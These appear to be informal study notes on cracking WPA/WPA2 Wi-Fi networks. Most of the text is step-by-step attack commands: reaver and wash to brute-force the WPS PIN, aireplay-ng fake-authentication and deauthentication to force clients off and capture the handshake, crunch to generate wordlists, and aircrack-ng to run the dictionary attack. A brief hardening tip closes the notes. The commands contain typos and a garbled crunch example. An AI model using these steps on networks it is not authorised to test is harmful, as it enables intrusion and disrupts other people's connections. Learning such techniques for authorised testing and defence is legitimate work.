# WPA/WPA2 Cracking

## Very similar – can be cracked using the same methods

* WPS is a feature that we can use with WPA & WPA2
* Allows clients to connect without the password
* Auth is done using an 8 digit pin
  + Can try all of these in a short time
  + WPS pin can be used to compute the actual password
* Can only work if it is configured not to use Push Button Authentication

Steps:

* Wash –interface mon0
* Aireplay-ng –fakeauth 30 -a MAC ADDRESS OF TARGET/ BSSID -h MAC ADDRESS OF WIRELESS ADAPTER mon0
* Replace “-” to “:”
* Run this command before the authentication attack
  + Reaver –bssid [] –channel [] –interface mon0 -vvv –no-associate
* When using mon0 this is just the name of the wireless network card – yours may. Be different
* -vvv tells you information like why it may have gone wrong

Capturing the handshake:

Steps:

* Airodump-ng –bssid[] –channel[] –write[] wlan0
  + Now we have to wait for a client to connect
  + Instead of sitting and waiting we can use a deauth attack to disconnect someone until we turn it off and then they will connect again allowing us to capture the handshake.
* Aireplay-ng –deauth 4 -a TARGET BSSID -c CLENT BSSID wlan0
* The handshake does not contain data that helps recover the key
* It contains data that can be used to check if a key is valid or not

Creating a wordlist

* Crunch can be used
* Crunch [min] [max] [characters]-t [pattern] -o[FileName]
  + Crunch 6 8 123abc -wordlist -t a@@@@b
  + aaaaab
  + aabbbb
  + aan$$b
  + etc

man crunch – gives you info on how to use crunch

Using a wordlist attack:

Steps:

* aircrack-ng NAME OF CAPTURE FILE (.cap file) -w NAME OF WORDLIST
* Can use GPu
* Can use. Rainbow tables
* Online websites have super computers and huge word lists you can use online

How to secuer wpa/wap2:

* Disable wps – or use button confirmation for wps
  + If this is disabled, then the only way to crack it is through a dictionary attack